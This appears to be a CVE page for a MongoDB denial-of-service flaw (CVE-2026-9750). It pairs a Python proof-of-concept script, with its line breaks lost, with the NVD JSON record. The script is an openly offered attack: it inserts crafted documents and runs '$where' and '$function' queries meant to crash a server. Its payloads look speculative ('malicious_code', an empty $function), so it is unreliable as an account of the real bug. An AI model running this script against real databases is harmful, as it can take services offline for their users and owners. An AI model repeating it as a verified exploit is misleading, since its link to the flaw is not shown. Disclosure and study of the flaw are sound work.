CVE-2026-9750

#!/usr/bin/env python3 """ CVE-2026-9750 PoC - MongoDB Server Crash via Malicious Document Note: This is a conceptual PoC for educational purposes only. """ import subprocess import sys def check_mongodb_version(): """Check if target MongoDB version is vulnerable""" # Check MongoDB version try: result = subprocess.run( ['mongosh', '--eval', 'db.version()'], capture_output=True, text=True, timeout=10 ) version = result.stdout.strip() print(f"[*] Target MongoDB version: {version}") return version except Exception as e: print(f"[-] Failed to check version: {e}") return None def create_malicious_collection(): """ Create a collection with documents designed to trigger the metadata processing vulnerability in CVE-2026-9750 """ exploit_js = """ // Authenticate with low-privilege user db = db.getSiblingDB('test'); // Create malicious documents that interfere with internal metadata // These field names are chosen to potentially conflict with internal metadata db.cve_2026_9750_coll.insertMany([ { "_id": "trigger_doc_1", "$internal": { "metadata": "malicious_metadata_value", "queryPlanner": "corrupted_plan" }, "field1": "value1" }, { "_id": "trigger_doc_2", "__indexKey": { "$db": "internal_db", "coll": "internal_collection" }, "data": "test_data" }, { "_id": "trigger_doc_3", "$query": { "$where": "malicious_code" }, "$explain": "internal_explain" } ]); print("[+] Malicious documents created"); // Trigger query execution path that may expose the vulnerability // This query pattern is designed to interact with internal metadata processing try { db.cve_2026_9750_coll.find({ "$or": [ {"$where": "sleep(1000)"}, {"$expr": {"$function": {}}} ] }).limit(10).toArray(); } catch(e) { print("[!] Query error (may indicate vulnerability): " + e.message); } """ try: result = subprocess.run( ['mongosh', '--quiet', '--eval', exploit_js], capture_output=True, text=True, timeout=30 ) print(result.stdout) if result.stderr: print(f"[!] Stderr: {result.stderr}") return True except Exception as e: print(f"[-] Exploitation failed: {e}") return False def main(): print("=" * 60) print("CVE-2026-9750 PoC - MongoDB Server Metadata Processing Issue") print("=" * 60) print("\n[*] This PoC demonstrates the concept of CVE-2026-9750") print("[*] Requires authenticated access with low privileges") print("[*] Target: MongoDB Server with insufficient document field isolation\n") version = check_mongodb_version() if version: print("[*] Proceeding with exploitation...") create_malicious_collection() else: print("[-] Cannot proceed without MongoDB connection") print("\n[*] Recommended action: Upgrade MongoDB to patched version") if __name__ == "__main__": main()

{"cve": {"id": "CVE-2026-9750", "sourceIdentifier": "[email protected]", "published": "2026-06-09T23:17:04.510", "lastModified": "2026-06-10T19:43:28.857", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "An authenticated user can cause a MongoDB server to crash or return incorrect results by creating documents that interfere with internal metadata processing during query execution. This stems from insufficient separation between user-controlled document fields and internal metadata in certain execution paths."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-617"}]}], "references": [{"url": "https://jira.mongodb.org/browse/SERVER-123633", "source": "[email protected]"}]}}